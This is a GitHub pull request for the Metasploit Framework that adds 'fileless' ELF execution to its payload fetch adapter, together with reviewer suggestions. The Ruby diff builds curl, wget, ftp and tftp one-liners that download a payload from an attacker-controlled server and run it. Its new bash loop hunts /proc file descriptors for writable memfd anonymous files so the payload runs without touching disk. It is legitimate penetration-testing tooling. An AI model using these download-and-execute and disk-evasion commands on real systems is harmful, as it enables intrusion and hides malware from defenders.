Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fileless elf execution #19858

Merged
merged 15 commits into from
Feb 18, 2025
Merged
Show file tree
Hide file tree
Changes from 8 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
104 changes: 81 additions & 23 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
@@ -1,16 +1,14 @@
module Msf::Payload::Adapter::Fetch

def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
]
)
register_advanced_options(
Expand Down Expand Up @@ -143,15 +141,24 @@ def srvport

def srvuri
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

default_srvuri
end

def windows?
return @windows unless @windows.nil?

@windows = platform.platforms.first == Msf::Module::Platform::Windows
@windows
end

def linux?
return @linux unless @linux.nil?

@linux = platform.platforms.first == Msf::Module::Platform::Linux
@linux
end

def _check_tftp_port
# Most tftp clients do not have configurable ports
if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
Expand All @@ -177,21 +184,22 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
comm = ::Rex::Socket::Comm::Local
when /\A-?[0-9]+\Z/
comm = framework.sessions.get(srv_comm.to_i)
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
unless ip.nil?
comm = Rex::Socket::SwitchBoard.best_comm(ip)
end
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
raise("SocketServer Comm '#{srv_comm}' is invalid")
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

comm || ::Rex::Socket::Comm::Local
end

def _execute_add
return _execute_win if windows?

return _execute_nix
end

Expand Down Expand Up @@ -223,81 +231,130 @@ def _generate_certutil_command
cmd + _execute_add
end

# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
def _generate_fileless(get_file_cmd)
msutovsky-r7 marked this conversation as resolved.
Show resolved Hide resolved
# get list of all $USER's processes
cmd = 'FOUND=0'
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
# already found anonymous file where we can write
cmd << '; do if [[ $FOUND -eq 0 ]]'

# look for every symbolic link with write rwx permissions
# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then while read f'
cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There might be a way to avoid calling wc by checking the return value of grep instead.

cmd << "; then #{get_file_cmd}"
cmd << '; $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe redirecting the potential errors to /dev/null might avoid some weird output and reduce the number of iterations for the main loop.

Suggested change
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

cmd << '; fi'
cmd << '; done'

cmd
end

def _generate_curl_command
case fetch_protocol
when 'HTTP'
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
fetch_command = "curl http://#{download_uri} -so"
bwatters-r7 marked this conversation as resolved.
Show resolved Hide resolved
when 'HTTPS'
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
fetch_command = "curl https://#{download_uri} -sko"
when 'TFTP'
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
fetch_command = "curl tftp://#{download_uri} -so"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
return fetch_command + " #{_remote_destination}#{_execute_add}"
end
end

def _generate_ftp_command
case fetch_protocol
when 'FTP'
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
fetch_command = "ftp ftp://#{download_uri} -Vo"
when 'HTTP'
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
fetch_command = "ftp http://#{download_uri} -Vo"
when 'HTTPS'
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
fetch_command = "ftp https://#{download_uri} -Vo"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
return fetch_command + " #{_remote_destination_nix}#{_execute_nix}"
end
end

def _generate_tftp_command
_check_tftp_port
case fetch_protocol
when 'TFTP'
if windows?
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
fetch_command = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
else
_check_tftp_file
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
else
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
end
end
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd
fetch_command
end

def _generate_tnftp_command
case fetch_protocol
when 'FTP'
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
fetch_command = "tnftp ftp://#{download_uri} -Vo"
when 'HTTP'
cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
fetch_command = "tnftp http://#{download_uri} -Vo"
when 'HTTPS'
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
fetch_command = "tnftp https://#{download_uri} -Vo"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
return fetch_command + " #{_remote_destination_nix}#{_execute_nix}"
end
end

def _generate_wget_command
case fetch_protocol
when 'HTTPS'
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
fetch_command = "wget --no-check-certificate https://#{download_uri} -qO"
when 'HTTP'
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
fetch_command = "wget http://#{download_uri} -qO"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
return fetch_command + " #{_remote_destination}#{_execute_add}"
end
end

def _remote_destination
return _remote_destination_win if windows?

return _remote_destination_nix
end

def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?

writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir = '.' if writable_dir.blank?
writable_dir += '/' unless writable_dir[-1] == '/'
Expand All @@ -310,12 +367,13 @@ def _remote_destination_nix

def _remote_destination_win
return @remote_destination_win unless @remote_destination_win.nil?

writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
payload_path += '.exe' unless payload_path[-4..] == '.exe'
@remote_destination_win = payload_path
@remote_destination_win
end
Expand Down
8 changes: 5 additions & 3 deletions lib/msf/core/payload/adapter/fetch/linux_options.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,10 @@ def initialize(info = {})
))
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }])
]
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
],
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)
bwatters-r7 marked this conversation as resolved.
Show resolved Hide resolved
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixing some issues and adding a condition to the FETCH_WRITABLE_DIR option (untested):

Suggested change
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
],
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: %w[FETCH_FILELESS == false])
],

)
end
end
end
Loading